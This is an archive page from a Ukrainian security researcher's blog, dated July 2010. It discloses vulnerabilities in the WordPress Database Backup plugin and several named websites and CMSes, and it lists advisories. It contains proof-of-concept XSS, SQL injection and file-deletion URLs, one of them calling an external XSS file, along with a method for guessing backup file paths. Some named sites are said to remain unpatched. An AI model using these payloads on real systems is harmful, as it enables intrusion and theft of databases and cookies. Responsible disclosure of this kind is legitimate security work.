Архів для категорії 'Уразливості'

CSRF, Information Leakage та Full path disclosure в WordPress

20:11 30.07.2010

Продовжую проект День багів в WordPress 2. Зараз я оприлюдню Cross-Site Request Forgery уразливість в WordPress, що я знайшов 05.06.2007, та Information Leakage, що я знайшов 02.08.2009, та Full path disclosure, що я знайшов 29.07.2010.

CSRF:

Враховуючи, що в плагіні WordPress Database Backup немає захисту від CSRF, то за допомогою даної CSRF уразливості можна атакувати адміна. Це може бути зроблено для форсування бекапа, щоб через раніше згадану Information Leakage уразливість дістати бекап з БД сайта, або з метою створення великої кількості бекап файлів, щоб зайняти вільне місце на сервері. Або щоб отримати бекап на емайл. Дані CSRF-атаки можливі, якщо плагін WP-DB-Backup активований.

За допомогою CSRF-атаки можна зробити бекап будь-яких таблиць, як всіх, так і вибірково (наприклад таблиці з користувачами wp_users). В даному експлоіті робиться бекап з таблицею wp_users:

WordPress Database Backup CSRF.html

А також можна просто послати собі бекап (наприклад, з таблицею wp_users) на емайл:

WordPress Database Backup CSRF2.html

Це атака для відправки бакапа по емайлу (Email me backup attack).

Як я вже зазначав, даний витік інформації в бекапі БД найбільш небезпечний в зв’язку з тим, що в бекапі знаходиться логін та хеш адміна. Що можуть бути використані для отримання доступу до сайта. Це було дуже актуально до виходу WordPress 2.5, в якому переробили систему авторизації, після того як Steven Murdoch звернув увагу розробників WP на Cookie Authentication уразливість в WordPress. І з версії 2.5 в WP використовується новий метод авторизації через кукіси, але навіть в нових версіях движка витік бекапів все рівно є небезпечним і його не варто допускати.

Уразливі WordPress 2.0.11 та попередню версії, в поставку яких входив плагін WordPress Database Backup. Також уразливий плагін WP-DB-Backup 2.0 та попередні версії в будь-яких версіях WordPress (WP 2.9.2 та попередні версії і потенційно WP 3.0 та 3.0.1).

Захист від даної уразливості.

Як я вже згадував, в версії 2.1 плагіна додали захист від CSRF, тому остання версія плагіна WP-DB-Backup 2.2.2 невразлива до CSRF. Тому варто оновити плагін до останньої версії.

Information Leakage (через Privileges unchecked):

В червні 2007 я вже знайшов Information Leakage уразливість в плагіні WordPress Database Backup. А в серпні 2009 я знайшов нову уразливість пов’язану з даним плагіном (що є наслідком Privileges unchecked уразливості, яка була оприлюднена в липні 2009). Дана уразливість дозволяє дізнатися шлях до папки бекапів, а також виявити префікс таблиць в БД.

Privileges unchecked уразливість в WP була знайдена CORE в 2009 році. Вони використали моє дослідження про Local File Inclusion в WP (багато з яких працюють навіть з акаунтом Subscriber), про які я писав в грудні 2007 року під час першого проекту Day of bugs in WordPress. Дані дірки були виправлені в WP 2.3.2, але, як виявили CORE, LFI атаки на папку plugins все ще можливі (в зв’язку з відсутністю перевірок привілеїв у WP).

Дана уразливість може бути використана в парі з попередньою Information Leakage уразливістю, для виявлення повного шляху до бекапів та скачування бекапів БД сайта. Знаючи ім’я папки можна легко виявити ім’я файла (до 1000 комбінацій, якщо знати ім’я бази в MySQL, префікс та дату) та скачати бекап. Також знання префікса таблиць в БД стане в нагоді при SQL Injection атаці.

Витік інформації відбувається при доступі через admin.php до плагіну WP-DB-Backup:

http://site/wp-admin/admin.php?page=wp-db-backup.php

Якщо плагін WordPress Database Backup активований, то маючи акаунт з мінімальними правами (Subscriber) можна дізнатися шлях до бекапу і префікс таблиць.

Уразливі WordPress 2.8 та попередні версії. Уразливість стосується лише WP, а не плагіна (через дану уразливість можна атакувати й інші плагіни). В WordPress 2.8.1 дана Privileges unchecked уразливість вже виправлена, тому дана атака не працює.

Захист від даної уразливості.

Для захисту можна або оновити WordPress до невразливої версії, або оновити плагін до останньої версії. Починаючи з версії 2.1 плагіна (в тому числі в останній версії WordPress Database Backup 2.2.2) дана уразливість вже не працює (навіть в старих вразливих версіях движка), зате з’явилася Full path disclosure дірка.

Full path disclosure:

В WP-DB-Backup мають місце дві Full path disclosure уразливості:

http://site/wp-admin/admin.php?page=wp-db-backup.php

Уразливість працює з плагіном WordPress Database Backup 2.1 і вище. Вона працює у користувачів з будь-якими правами (навіть Subscriber) в усіх версіях WordPress (до WP 2.8.1) через використання вищезгаданої Privileges unchecked уразливості.

http://site/wp-content/plugins/wp-db-backup.php

Уразливість працює в усіх версіях WordPress Database Backup (в тому числі вона не виправлена і в останній версії WP-DB-Backup 2.2.2) в усіх версіях WordPress.

Захист від даних уразливостей.

Для захисту можна самому виправити дані Full path disclosure уразливості (як й інші FPD в WordPress).

Information Leakage та Full path disclosure уразливості в WordPress

17:29 30.07.2010

Сьогодні, в День багів в WordPress 2, я оприлюднюю багато цікавих уразливостей в WP. Першими я оприлюдню Information Leakage та Full path disclosure уразливості в WordPress, що я знайшов 05.06.2007, під час проведення проекту MOSEB.

Information Leakage:

В плагіні WordPress Database Backup (WP-DB-Backup) можливий доступ до бекапів БД сайта на WordPress через вгадування повного шляху до них. Бекапи можуть створюватися вручну адміном, або автоматично. Для атаки потрібно, щоб бекапи зберігалися на сайті (хоча б деякий час). WP-DB-Backup - це популярний плагін (що постачався з WordPress 2.0.x), що лише з сайту wordpress.org був викачаний 546218 разів (за станом на сьогодні).

Уразливі WordPress 2.0.11 та попередню версії, в поставку яких входив плагін WordPress Database Backup, а також всі версії WordPress (2.9.2 та попередні версії), при використанні даного плагіна (офіційно він сумісний з WP 2.9.2 та попередніми версіями і потенційно може працювати з WP 3.0 та 3.0.1).

Повний шлях до файлу з бекапами наступний:

http://site/wp-content/backup-xxxxx/database_wp_20070605_704.sql.gz

Щоб дістатися до бекапу, потрібно виявити ім’я папки та ім’я файла. Причому їх виявляти можна окремо - спочатку виявити папку, а вже потім файл.

1. Ім’я папки (backup-xxxxx) - це “backup-” + 5 символів md5-алфавіту і це 1048576 комбінацій.

2. Ім’я файла - це ім’я бази сайта в MySQL (database) + “_” + префікс (wp) + “_” + дата створення бекапу в форматі YYYYMMDD (20070605) + “_” + число від 000 до 999 (704) + “.sql.gz”.

Ім’я бази може співпадати з доменом або папкою на сервері, де розміщений сайт (так часто роблять провайдери), тому для визначення імені бази можна використати Full path disclosure уразливість (яких велика кількість в WP).

Префікс за замовчуванням дорівнює “wp”. Якщо префікс нестандартний, то його можна дізнатися за допомогою інших уразливостей в WP, зокрема SQL DB Structure Extraction (про які я писав раніше).

Дане число від 000 до 999 - це Swatch Internet time і це 1000 комбінацій. Якщо знати точний час створення файлу бекапу, наприклад, при CSRF-атаці (про яку я ще розповім), то можна визначити дане число. Наприклад, якщо файл був створенний в 12:00:00 на сервері, то це число буде дорівнювати 500.

Так що в звичайному випадку, коли ім’я бази, префікс та дата відомі, доведеться зробити до 1048576 комбінацій (папка) + до 1000 комбінацій (файл) = до 1049576 комбінацій (повний шлях до файлу). В середньому це 524788 комбінацій, що можна достатньо швидко підібрати при швидкому Інтернет-з’єднані.

Захист від даної уразливості.

Для захисту треба зробити відповідний файл .htaccess. І розмістити, наприклад, в папці wp-content, для заборони викачування бекапів з папки з бекапами. Що я використовую відтоді як знайшов дану уразливість.

Це можна обійти за допомогою Arbitrary file deletion уразливості, про яку я писав в грудні 2007 року. Для її використання потрібно провести CSRF-атаку на адміна. Дана атака спрацює в WP-DB-Backup <= 2.0.

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=.htaccess

Якщо .htaccess розмістити в папці з бекапами, то він може бути видалений. Причому навіть з виправленою Directory Traversal - в папці з бекапами файли все рівно можна витерти. Тому .htaccess потрібно розміщувати не в папці с бекапами, а в папках вищого рівня, наприклад, в папці wp-content.

Враховуючи, що WordPress Database Backup плагін створює пусті index.php в папці з бекапами для захисту від витоку інформації про бекапи, то за допомогою Arbitrary file deletion уразливості (при CSRF-атаці на адміна) це можна обійти:

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=index.php

Тоді не доведеться вгадувати ім’я файла. Це спрацює на всіх версіях WordPress з даним плагіном (WP-DB-Backup <= 2.0).

А якщо Directory Traversal дірка не виправлена, то можна пришвидшити процес знаходження папки з бекапами (backup-xxxxx) за допомогою Arbitrary file deletion уразливості (при CSRF-атаці на адміна), та витерти index.php в папці wp-content:

Для WordPress <= 2.0.3 (WP-DB-Backup <= 1.7):

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=../index.php

Якщо бекапи створюються регулярно (щоденно), або напевно відома дата створення бекапа, то тоді можна легко його отримати. Інакше, можна вгадувати імена файлів бекапів. Або можна провести CSRF-атаку на адміна та створити бекап, про що я розповім в наступному записі.

Даний витік інформації в бекапі БД найбільш небезпечний в зв’язку з тим, що в бекапі знаходиться логін та хеш адміна. Що можуть бути використані для отримання доступу до сайта. Це було дуже актуально до виходу WordPress 2.5, в якому переробили систему авторизації, після того як Steven Murdoch звернув увагу розробників WP на Cookie Authentication уразливість в WordPress. І з версії 2.5 в WP використовується новий метод авторизації через кукіси, але навіть в нових версіях движка витік бекапів все рівно є небезпечним і його не варто допускати.

Full path disclosure:

В WP-DB-Backup мають місце дві Full path disclosure уразливості, які виникають при відповідних POST запитах. Вони працюють лише при наявності відповідних прав у користувача (зокрема у адміна).

WordPress Database Backup Full path disclosure.html

WordPress Database Backup Full path disclosure2.html

Дані уразливості працюють в плагіні WordPress Database Backup 2.0 та попередніх версіях в будь-яких версіях WordPress.

Захист від даних уразливостей.

Для захисту можна або самому виправити дані Full path disclosure уразливості (як й інші FPD в WordPress), або ж оновити плагін до останної версії WP-DB-Backup 2.2.2.

З WordPress 2.0.11 постачається версія 1.8 плагіна. Як я нещодавно перевірив, в версії 2.1 плагіна виправили Full path disclosure та інші уразливості. Тому остання версія плагіна WordPress Database Backup 2.2.2 невразлива до CSRF та до Full path disclosure (а також невразлива до раніше згаданих Directory Traversal, Arbitrary file deletion, DoS та XSS). Але остання версія плагіна все ще вразлива до Information Leakage.

Добірка уразливостей

15:22 29.07.2010

В даній добірці уразливості в веб додатках:

  • HP OpenView NNM ovsessionmgr.exe userid/passwd Heap Overflow Vulnerability (деталі)
  • HP OpenView NNM ovlogin.exe CGI userid/passwd Heap Overflow Vulnerability (деталі)
  • Hewlett-Packard OpenView NNM Snmp.exe Oid Variable Buffer Overflow Vulnerability (деталі)
  • TomatoCMS “q” SQL Injection Vulnerability (деталі)
  • TomatoCMS Script Insertion Vulnerabilities (деталі)
  • PolyPager 1.0rc10 (fckeditor) File Upload Security Issue (деталі)
  • Palo Alto Network Vulnerability - Cross-Site Scripting (XSS) (деталі)
  • SAP Business One 2005 Remote Buffer Overflow Vulnerability (деталі)
  • phpvidz Administrative Password Disclosure (деталі)
  • Multiple vulnerabilities in Kapitalist/capitalist (деталі)

Численні уразливості в Cetera eCommerce

15:18 28.07.2010

05.06.2010

У жовтні, 31.10.2009, я знайшов Cross-Site Scripting, SQL Injection та SQL DB Structure Extraction уразливості в системі Cetera eCommerce (онлайн магазин). Які виявив на демо сайті розробників системи http://ecommerce-demo.cetera.ru.

Раніше я вже писав про уразливості в Cetera eCommerce.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам системи.

28.07.2010

XSS:

http://site/cms/templates/search.php?q=111&sobject=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/cms/templates/bannerlist.php?deleted=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/cms/templates/bannerlist.php?errorMessage=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/cms/templates/banner.php?errorMessage=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS (Persistent):

На сторінці http://site/cms/templates/banner.php?bannerId=1
<script>alert(document.cookie)</script>В полях: Title, Текст.

SQL Injection:

http://site/cms/templates/banner.php?bannerId=1%20and%20version()=5

SQL DB Structure Extraction:

http://site/cms/templates/bannerlist.php?page=-1

Уразливі Cetera eCommerce 14.0 та попередні версії. Розробники в себе на сайт досі так і не виправили уразливості (окрім першої XSS).

Добірка уразливостей

15:17 27.07.2010

В даній добірці уразливості в веб додатках:

  • Security Notice for CA Service Desk (XSS) (деталі)
  • Knowledgeroot (fckeditor) Remote Arbitrary File Upload Exploit (деталі)
  • SmartCMS v.2 SQL injection vulnerability (деталі)
  • HP OpenView Network Node Manager (OV NNM), Remote Execution of Arbitrary Code (деталі)
  • HP OpenView NNM snmpviewer.exe CGI Host Header Stack Overflow Vulnerability (деталі)
  • HP OpenView NNM ovalarm.exe CGI Accept-Language Stack Overflow Vulnerability (деталі)
  • HP OpenView NNM webappmon.exe CGI Host Header Buffer Overflow Vulnerability (деталі)
  • Joomla Component advertising (com_aardvertiser) File Inclusion Vulnerability (деталі)
  • Blind SQL injection vulnerability in NPDS REvolution (деталі)
  • XSS vulnerability in NPDS (деталі)

Уразливості на www.officepro.com.ua

15:10 26.07.2010

08.12.2009

У квітні, 22.04.2009, я знайшов Cross-Site Scripting та Denial of Service уразливості на сайті http://www.officepro.com.ua. Про що найближчим часом сповіщу адміністрацію сайта.

Стосовно дірок на сайтах онлайн магазинів в останнє я писав про уразливості на viland.ua.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

26.07.2010

XSS:

POST запит на сторінці www.officepro.com.ua/search_result.html
"><script>alert(document.cookie)</script>В полі “Поиск товаров”.

Дана уразливість виправлена, але неякісно і при зміні коду, знову працює.

XSS:

POST запит на сторінці www.officepro.com.ua/search_result.html
" style="-moz-binding:url(http://websecurity.com.ua/webtools/xss.xml#xss)В полі “Поиск товаров”.

XSS через GET:

DoS:

POST запит на сторінці www.officepro.com.ua/search_result.html
%%В полі “Поиск товаров”.

DoS уразливість вже виправлена, але XSS все ще працює.

Численні уразливості в MC Content Manager

23:53 24.07.2010

В 2007 та 2009 році я виявив численні уразливості в MC Content Manager. Це Cross-Site Scripting та SQL Injection уразливості, що я виявив на http://www.szru.gov.ua - сайті СЗРУ. Де використовується даний движок.

Всього я виявив 5 XSS та 3 SQL Injection уразливостей в MC Content Manager: 1 XSS 08.01.2007 і 1 XSS 23.09.2007 (які я вже оприлюднив і про які раніше вже повідомив адмінів сайта та які вже виправлені), 2 XSS та 2 SQLi 30.09.2007 (про які я повідомив приватно, тому інформація про них публікуватися не буде, з яких до сих пір виправлено лише 3 з 4), 1 XSS і 1 SQLi 10.04.2009 (які я вже оприлюднив і про які раніше вже повідомив адмінів сайта та які досі не виправлені).

XSS:

http://site/article.php?root=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/static.php?page=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/cms/%3Cbody%20onload=alert(document.cookie)%3E/

SQL Injection:

http://site/cms/ua%20where%201=1–%20/

Уразливі ранні версії MC Content Manager від mc design (в скриптах на сайті СЗРУ версія CMS не зазначена). Остання версія MC Content Manager v.10.1.1 вже не вразлива (судячи по останнім сайтам цієї студії). Серед великої кількості сайтів розроблених mc design (що використовують MC Content Manager), перевірених мною цього місяця, я не знайшов жодних з даними уразливостями (на них використовуються або більш нові версії MC Content Manager, або інші компоненти), зате знайшов багато інших дірок в даному движку на різних сайтах. Про що я напишу з часом.

Добірка уразливостей

15:24 24.07.2010

В даній добірці уразливості в веб додатках:

  • 3Com OfficeConnect Firewall/Router multiple remote Vulnerabilities (деталі)
  • New mediawiki packages fix cross-site request forgery (деталі)
  • XSS in ecoCMS (деталі)
  • XSRF (CSRF) in Zikula Application Framework (деталі)
  • McKesson Horizon Clinical Infrastructure (HCI) version 7.6/7.8/10.0/10.1 hardcoded passwords (деталі)
  • XSS in eliteCMS (деталі)
  • XSS in Acuity CMS (деталі)
  • XSRF (CSRF) in eliteCMS (деталі)
  • NolaPro Enterprise multiple vulnerabilities (деталі)
  • Microsoft Security Bulletin MS09-061 - Critical Vulnerabilities in the Microsoft .NET Common Language Runtime Could Allow Remote Code Execution (974378) (деталі)

Нові уразливості на auction.ua

15:23 23.07.2010

09.12.2009

У квітні, 19.04.2009, я знайшов Full path disclosure та Information Leakage уразливості на сайті http://auction.ua. Про що найближчим часом сповіщу адміністрацію сайта.

Уразливості я знайшов в партнерському скрипті від auction.ua, але вони наявні й на сайті самого аукціону auction.ua. Даний партнерському скрипт реалізований таким чином, що домен сайта (основний домен) або його піддомен може бути зроблений як аукціон на движку auction.ua. Таких сайтів чимало. І відповідно дірки, що наявні на даному сайті, фізично знаходяться на сервері auction.ua.

Раніше я вже писав про уразливості на auction.meta.ua та інших доменах проекту auction.ua.

Детальна інформація про уразливості з’явиться пізніше.

23.07.2010

Full path disclosure:

http://auction.ua/makethumb2.php?pic=..

Information Leakage:

http://auction.ua/makethumb2.php?pic=index.php&w=100
http://auction.ua/makethumb2.php?pic=index&w=100

Різні відповіді скрипта при вірному імені файла і/або директорії та невірному імені, дозволяють ідентифікувати файли та директорії на сервері.

Дані уразливості досі не виправлені.

Добірка уразливостей

15:16 22.07.2010

В даній добірці уразливості в веб додатках:

  • Multiple Flaws in Huawei SmartAX MT880 [was: Multiple Flaws in Huawei D100] (деталі)
  • TaskFreak 0.6.2 SQL Injection Vulnerability (деталі)
  • vBulletin - Insecure Custom BBCode Tags (деталі)
  • Apache ActiveMQ XSS Vulnerability (деталі)
  • openjdk-6 vulnerabilities (деталі)
  • Openannuaire Openmairie Annuaire 2.00 (RFI/LFI) Multiple File Include Vulnerability (деталі)
  • Opencadastre 1.02 Local File Include Vulnerability (деталі)
  • Opencimetiere 2.01 Multiple Remote File Include Vulnerability (деталі)
  • Opencatalogue 1.024 Local File Include Vulnerability (деталі)
  • 2WIRE Gateway Authentication Bypass & Password Reset (деталі)